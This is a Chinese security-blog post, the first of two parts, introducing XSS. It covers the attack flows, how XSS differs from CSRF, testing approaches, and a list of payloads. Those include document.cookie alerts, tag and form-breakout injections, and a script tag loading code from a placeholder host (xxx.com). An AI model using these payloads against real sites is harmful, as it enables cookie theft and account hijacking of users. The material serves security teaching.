九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

admin 2023年5月14日23:51:09评论51 views字数 5663阅读18分52秒阅读模式

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)


一、XSS介绍


1.定义


跨站脚本攻击即 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者向Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。


2.分类


XSS 攻击通常针对的是用户层面的攻击。

XSS 分为:反射型 XSS、存储型 XSS、DOM 型 XSS。


反射型 XSS

具体攻击流程如下:

1、攻击者将 payload 放置在 url 链接中(这是针对是 GET 型反射 XSS);

2、用户点击该恶意链接;

3、web 服务将 XSS 代码(JavaScript 代码)以及视图返回给客户端;

4、客户端解析视图以及 XSS 代码(JavaScript 代码),并将执行结果发送到 XSS 平台;

5、攻击者访问 XSS 平台,读取用户的敏感信息(Cookie)。

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

存储型 XSS

具体攻击流程如下:

1、攻击者向 web 服务插入 XSS 代码;

2、web 服务会将其结果存储到数据库中;

3、用户正常访问 web 服务;

4、web 服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意 XSS 代码(JavaScript 代码);

5、客户端渲染视图,加载 XSS 代码,并向攻击者的 web 服务发送敏感信息;

6、攻击者读取用户的敏感信息。

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

DOM 型 XSS

具体攻击流程如下:

1、攻击者将 payload 放置在 url 链接中(这是针对是 GET 型反射 XSS);

2、用户点击恶意链接,并打开浏览器;

3、此时浏览器客户端并不会发起 http 请求到 web 服务,而是在浏览器客户端执行 XSS(JavaScript 代码) ;

4、此时将 XSS 代码执行结果发送给攻击者的恶意服务;

5、攻击者访问自己的 XSS 平台并读取用户的敏感信息。

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

二、XSS特征



类别

特征

反射型 XSS

非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型 XSS 大多数是用来盗取用户的 Cookie 信息。

存储型 XSS

持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS 比较危险,容易造成蠕虫、盗窃 cookie

DOMXSS

不经过后端,DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS 是通过 url 传入参数去控制触发的,其实也属于反射型 XSS





三、XSS与CSRF的区别


类别

特征

XSS

1、主要是加载 JavaScript 代码,在客户端执行。 

2、虽然经过后端,数据库(存储型),但主要需要客户端执行 XSS 代码,才能生效。

3、DOM 型 XSS 一定不经过后端,只是对浏览器客户端发起的攻击。

4、XSS 攻击针对的是用户层面的攻击 (攻击客户端)。

CSRF

1、主要是欺骗服务器,虽然是由用户发起,但是服务器无法判断是否是不是用户想要发起的请求。

2、一定会经过后端处理,不然无法执行。

3、CSRF 是一种身份伪造攻击,来对服务器进行欺骗的一种攻击手法。


四、XSS攻击面


XSS 主要是攻击客户端浏览器,但是客户端浏览器侧的 JavaScript 并不像 Node.js 这种后端 JavaScript 代码可以执行命令,那么 XSS 只能用来弹窗测试吗?实际上并不是这样的,如果你的 JavaScript 代码能力很强,那么可以钓鱼、窃取 Cookie、令牌、攻击浏览器(2021 年 4 月 Chrome 0 Day)、蠕虫攻击、挂黑页(放广告刷流量)、内网探测(针对 HTTP,websocket)等等。


1、黑盒测试


尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

  • URL 的每一个参数

  • URL 本身

  • 表单 

  • 搜索框


常见业务场景

  • 重灾区:评论区、留言区、个人信息、订单信息等 

  • 针对型:站内信、网页即时通讯、私信、意见反馈 

  • 存在风险:搜索框、当前目录、图片属性等


2、白盒测试(代码审计)



关于 XSS 的代码审计主要就是从接收参数的地方和一些关键词入手。


PHP 中常见的接收参数的方式有 $_GET、$_POST、$_REQUEST 等等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,看看有没有输出到页面中,再看输出到页面中的数据是否进行了过滤和 html 编码等处理。


也可以搜索类似 echo 这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。


大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。同理审计 DOM 型注入可以搜索一些 js 操作 DOM 元素的关键词进行审计。



五、XSS相关payload


xss 主要是针对浏览器客户端的一种攻击,那么需要执行 JavaScript 代码,那么无疑需要使用到 JavaScript 语言以及在 HTML 中可以加载 JavaScript 的标签。


1、标签类



script

<script></script>标签是最直接的 XSS payload, 标签可以在浏览器渲染 DOM 树的时候同步执行 JavaScript 代码,他可以引用外部,也可以将代码插入标签内。

<script>alert("xss")</script><script>alert(/xss/)</script><script>alert(1)</script><script>alert(document.cookie)</script><script src=http://xxx.com/xss.js></script>

*左右滑动查看更多


svg

<svg></svg>标签是标记定义 SVG 图形的容器,其在 onload 方法中是在 SVG 容器初始化的时候执行代码。

<svg onload="alert(1)"><svg onload="alert(1)">


img

<img />标签是加载图片资源的标签,其在无法加载图片资源的时候会执行 onerror 方法。

<img src=1 οnerrοr=alert("/xss/")><img src=1 οnerrοr=alert(document.cookie)><img src="正确图片地址" onload="alert(/xss/)" />

*左右滑动查看更多


body

<body></body>是定义 HTML 文档的主体。其包含文档的所有内容(比如文本、超链接、图像、表格和列表等)。

<body onload=alert(/xss/)><body onpageshow=alert(1)>


video

<video></video>标签是引用远程媒体视频的标签,用法与 img 类似。

<video onerror="alert(/xss/)" src="1"/>

*左右滑动查看更多


style

<style></style>标签是加载 CSS 资源的标签。

<style οnlοad=alert(1)></style>


2、表单类



在 web 中,最常见的为表单了,表单中的标签有<input />、<textarea></textarea>等等,在这里更多的是闭合语句来构成 XSS ,比如:

"/><script>alert(/xss/)</script>></textarea><script>alert(/xss/)</script>...

*左右滑动查看更多


3、事件类



在 HTML 中有许多事件操作的方法(DOM 事件),如 onclick 事件、ondblclick 事件等等,只需要用户点击,或者双击也可以执行 JavaScript 代码,在这里就需要闭合,在块级元素中添加事件方法。常见的 DOM 事件方法如下:


1.鼠标事件


属性

描述

DOM

onclick

当用户点击某个对象时调用的事件句柄

2

oncontextmenu

在用户点击鼠标右键打开上下文菜单时触发


ondblclick

当用户双击某个对象时调用的事件句柄

2

onmousedown

鼠标按钮被按下

2

onmouseenter

当鼠标指针移动到元素上时触发

2

onmouseleave

当鼠标指针移出元素时触发

2

onmousemove

鼠标被移动

2

onmouseover

鼠标移到某元素之上

2

onmouseout

鼠标从某元素移开

2

onmouseup

鼠标按键被松开

2


2.键盘事件

属性

描述

DOM

onkeydown

某个键盘按键被按下

2

onkeypress

某个键盘按键被按下并松开

2

onkeyup

某个键盘按键被松开

2


3.框架/对象(Frame/Object)事件


描述

DOM

onabort

图像的加载被中断。

2

onbeforeunload

该事件在即将离开页面(刷新或关闭)时触发

2

onerror

在加载文档或图像时发生错误。


onhashchange

该事件在当前 URL 的锚部分发生修改时触发。


onload

一张页面或一幅图像完成加载。

2

onpageshow

该事件在用户访问页面时触发


onpagehide

该事件在用户离开当前网页跳转到另外一个页面时触发


onresize

窗口或框架被重新调整大小。

2

onscroll

当文档被滚动时发生的事件。

2

onunload

用户退出页面。

2


4.表单事件

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)


5.剪贴板事件


属性

描述

DOM

oncopy

该事件在用户拷贝元素内容时触发


oncut

该事件在用户剪切元素内容时触发


onpaste

该事件在用户粘贴元素内容时触发



6.打印事件


属性

描述

DOM

onafterprint

该事件在页面已经开始打印,或者打印窗口已经关闭时触发


onbeforeprint

该事件在页面即将开始打印时触发


7.拖动事件


事件

描述

DOM

ondrag

该事件在元素正在拖动时触发


ondragend

该事件在用户完成元素的拖动时触发


ondragenter

该事件在拖动的元素进入放置目标时触发


ondragleave

该事件在拖动元素离开放置目标时触发


ondragover

该事件在拖动元素在放置目标上时触发


ondragstart

该事件在用户开始拖动元素时触发


ondrop

该事件在拖动元素放置在目标区域时触发



8.多媒体(Media)事件


事件

描述

DOM

onabort

事件在视频/音频(audio/video)终止加载时触发。


oncanplay

事件在用户可以开始播放视频/音频(audio/video)时触发。


oncanplaythrough

事件在视频/音频(audio/video)可以正常播放且无需停顿和缓冲时触发。


ondurationchange

事件在视频/音频(audio/video)的时长发生变化时触发。


onemptied

当期播放列表为空时触发


onended

事件在视频/音频(audio/video)播放结束时触发。


onerror

事件在视频/音频(audio/video)数据加载期间发生错误时触发。


onloadeddata

事件在浏览器加载视频/音频(audio/video)当前帧时触发触发。


onloadedmetadata

事件在指定视频/音频(audio/video)的元数据加载后触发。


onloadstart

事件在浏览器开始寻找指定视频/音频(audio/video)触发。


onpause

事件在视频/音频(audio/video)暂停时触发。


onplay

事件在视频/音频(audio/video)开始播放时触发。


onplaying

事件在视频/音频(audio/video)暂停或者在缓冲后准备重新开始播放时触发。


onprogress

事件在浏览器下载指定的视频/音频(audio/video)时触发。


onratechange

事件在视频/音频(audio/video)的播放速度发送改变时触发。


onseeked

事件在用户重新定位视频/音频(audio/video)的播放位置后触发。


onseeking

事件在用户开始重新定位视频/音频(audio/video)时触发。


onstalled

事件在浏览器获取媒体数据,但媒体数据不可用时触发。


onsuspend

事件在浏览器读取媒体数据中止时触发。


ontimeupdate

事件在当前的播放位置发送改变时触发。


onvolumechange

事件在音量发生改变时触发。


onwaiting

事件在视频由于要播放下一帧而需要缓冲时触发。



9.动画事件


事件

描述

DOM

animationend

该事件在 CSS 动画结束播放时触发


animationiteration

该事件在 CSS 动画重复播放时触发


animationstart

该事件在 CSS 动画开始播放时触发



10.过渡事件


事件

描述

DOM

transitionend

该事件在 CSS 完成过渡后触发。




11.其他事件


事件

描述

DOM

onmessage

该事件通过或者从对象(WebSocket, Web Worker, Event Source 或者子 frame 或父窗口)接收到消息时触发


onmousewheel

已废弃。使用onwheel事件替代


ononline

该事件在浏览器开始在线工作时触发。


onoffline

该事件在浏览器开始离线工作时触发。


onpopstate

该事件在窗口的浏览历史(history 对象)发生改变时触发。


onshow

该事件当元素在上下文菜单显示时触发


onstorage

该事件在 Web Storage(HTML 5 Web 存储)更新时触发


ontoggle

该事件在用户打开或关闭元素时触发


onwheel

该事件在鼠标滚轮在元素上下滚动时触发



(未完待续)


往期回顾

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)


关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| XSS漏洞介绍与防御(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月14日23:51:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-绿队(改进)| XSS漏洞介绍与防御(上)https://cn-sec.com/archives/1729860.html

发表评论

匿名网友 填写信息